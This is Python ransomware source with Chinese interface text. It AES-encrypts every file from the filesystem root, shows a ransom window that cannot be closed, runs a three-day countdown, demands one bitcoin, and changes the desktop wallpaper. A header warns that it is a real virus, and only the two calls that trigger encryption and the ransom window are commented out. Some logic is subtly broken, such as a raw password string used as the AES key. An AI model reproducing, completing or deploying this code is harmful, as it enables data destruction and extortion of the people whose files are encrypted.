#!!!真的病毒!!!禁止运行!!!危险代码已注释!!!#
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Random import get_random_bytes
import os
from tkinter import Tk, Label, Button, Entry, messagebox
import datetime
import time
import threading
import win32api
import win32con
import win32gui
import ctypes


salt = get_random_bytes(16)
attempts = 0

end_time = datetime.datetime.now() + datetime.timedelta(days=3)

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def update_timer(label):
    def count_down():
        while True:
            now = datetime.datetime.now()
            remaining = end_time - now
            if remaining <= datetime.timedelta():
                label.config(text="你的电脑废了。")
                time.sleep(3)
                exit()

            else:
                label.config(text= str(remaining))
                time.sleep(1)

    t = threading.Thread(target=count_down)
    t.start()

def get_key(password):
    return PBKDF2(password, salt, dkLen=16)

def encrypt_file(file_name, key):
    cipher = AES.new(key, AES.MODE_CBC)

    with open(file_name, 'rb') as f:
        plaintext = f.read()
    ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

    with open(file_name, 'wb') as f:
        f.write(cipher.iv)
        f.write(ciphertext)

def encrypt_all_files(directory, password):
    key = get_key(password)
    for foldername, subfolders, filenames in os.walk(directory):
        for filename in filenames:
            file_path = os.path.join(foldername, filename)
            encrypt_file(file_path, key)

def encrypt_all_files_in_all_folders(password):
    for foldername, subfolders, filenames in os.walk('/'):
        for filename in filenames:
            file_path = os.path.join(foldername, filename)
            encrypt_file(file_path, password)

def decrypt_file(file_name, key):
    try:
        with open(file_name, 'rb') as f:
            iv = f.read(16)
            cipher = AES.new(key, AES.MODE_CBC, iv)
            ciphertext = f.read()
        plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
        with open(file_name, 'wb') as f:
            f.write(plaintext)
    except ValueError:
        raise Exception("无法解密文件，请检查你的密码是否正确")

def decrypt_all_files(directory, password):
    key = get_key(password)
    for filename in os.listdir(directory):
        file_path = os.path.join(directory, filename)
        decrypt_file(file_path, key)
    messagebox.showinfo("提示", "文件已被恢复！")
    time.sleep(3)
    exit()


def decrypt():
    global attempts
    try:
        if attempts < 5:
            password = key_entry.get()
            decrypt_all_files(r'D:\\', password)
            decrypt_all_files(r'C:\\', password)
        else:
            messagebox.showerror("错误", "密码尝试次数超过5次，你的电脑废了。")
            decrypt_button.config(state='disabled')  # 禁用解密按钮
    except Exception as e:
        attempts += 1  # 递增尝试计数器
        messagebox.showerror("错误", str(e))


def main():
    root = Tk()
    root.title("勒索病毒1.0")
    root.protocol("WM_DELETE_WINDOW", lambda: "pass")  # 禁止用户关闭窗口

    key_label = Label(root, text="你的文件已被加密，三天后会被破坏\n不建议重启或关闭程序，否则可能永远无法恢复\n三天内发1比特币到：lin123456 以获取密钥\n请输入解密密钥（5次后无法恢复）:")
    global key_entry
    key_entry = Entry(root)
    key_label.pack()
    key_entry.pack()

    timer_label = Label(root, text="")
    timer_label.pack()
    update_timer(timer_label)

    global decrypt_button

    decrypt_button = Button(root, text="恢复文件", command=decrypt)
    decrypt_button.pack()

    root.mainloop()

def change_wallpaper(path):
    k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, "2")
    win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, path, win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE)
    win32api.RegCloseKey(k)

if __name__ == "__main__":
    if is_admin():
        msg = messagebox.askokcancel("确定或者取消？", "这是一个勒索病毒，密钥是666666，确定打开吗？", icon=messagebox.WARNING)
        if msg == True:
            password = "666666"  # Use your own password here
            change_wallpaper("lsbd.png")
            #encrypt_all_files_in_all_folders(password)
            #main()
        else:
            exit()
    else:
        messagebox.showinfo("权限提示", "该脚本需要管理员权限运行，请右键选择“以管理员身份运行”。")
